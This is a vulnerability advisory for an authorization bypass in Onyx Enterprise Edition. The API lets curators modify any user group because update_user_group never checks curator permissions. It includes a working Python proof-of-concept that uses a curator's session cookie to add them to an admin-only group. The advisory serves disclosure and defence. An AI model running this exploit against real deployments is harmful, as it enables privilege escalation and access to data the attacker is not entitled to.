Description
An authorization bypass was found in the Onyx Enterprise Edition's group management functionality. The application intends for Curators to only administer users within groups they are specifically assigned to but a flaw in the API implementation allows unauthorized manipulation of any group within the system. The backend API fails to validate whether a curator has permission to modify a specific group. The vulnerability specifically affects the PATCH endpoint for user group management.
The root cause is in the update_user_group
function in backend/ee/onyx/db/user_group.py
. This function receives a user group ID and update data but never verifies if the authenticated curator has permission to modify that particular group:
def update_user_group(
db_session: Session,
user: User | None, # this parameter exists but isn't used for permission checking
user_group_id: int,
user_group_update: UserGroupUpdate,
) -> UserGroup:
# retrieves the user group without checking if the current user has permission to modify it
stmt = select(UserGroup).where(UserGroup.id == user_group_id)
db_user_group = db_session.scalar(stmt)
The codebase properly implements permission checks for similar operations, as evidenced by functions like _validate_curator_relationship_update_requester()
and error messages such as "Curators cannot control groups they don't curate." This inconsistency suggests the missing check is an oversight rather than an intended design.
PoC
The following steps demonstrate how a Curator can exploit this vulnerability to modify groups they shouldn't have access to:
- Set up Onyx with Enterprise Edition features enabled:
export ENABLE_PAID_ENTERPRISE_EDITION_FEATURES=true
export AUTH_TYPE=basic
-
Create an admin user (automatically created as the first user)
-
Create a second user with Basic permissions
-
Create two groups: "RESTRICTED_GROUP" and "PERMITTED_GROUP"
-
Add the admin to "RESTRICTED_GROUP"
-
Add the basic user to "PERMITTED_GROUP" and make them a Curator for this group only
-
Use this Python script to exploit the vulnerability:
import requests
BASE_URL = "http://localhost"
AUTH_COOKIE_NAME = "fastapiusersauth"
TARGET_GROUP_ID = 1 # ID of the RESTRICTED_GROUP
def exploit_group_modification(auth_token):
user_response = requests.get(
f"{BASE_URL}/api/me",
headers={"Cookie": f"{AUTH_COOKIE_NAME}={auth_token}"}
)
if user_response.status_code != 200:
return False
curator_id = user_response.json()["id"]
modify_response = requests.patch(
f"{BASE_URL}/api/manage/admin/user-group/{TARGET_GROUP_ID}",
json={
"user_ids": [curator_id],
"cc_pair_ids": []
},
headers={"Cookie": f"{AUTH_COOKIE_NAME}={auth_token}"}
)
if modify_response.status_code == 200:
return True
else:
print(modify_response.text)
return False
if __name__ == "__main__":
curator_token = input("Enter curator's authentication token: ")
exploit_group_modification(curator_token)
- After running the script with the curator's authentication token, refresh the admin panel to observe that:
- The admin has been removed from RESTRICTED_GROUP
- The curator has been added to RESTRICTED_GROUP
- This occurred despite the curator only having permission for PERMITTED_GROUP
This confirms that the curator can modify any group, violating the intended access control model.
Impact
- Curators can add themselves to admin-only groups
- This provides access to sensitive data and functionality not intended for their role
- Effectively bypasses the role-based access control system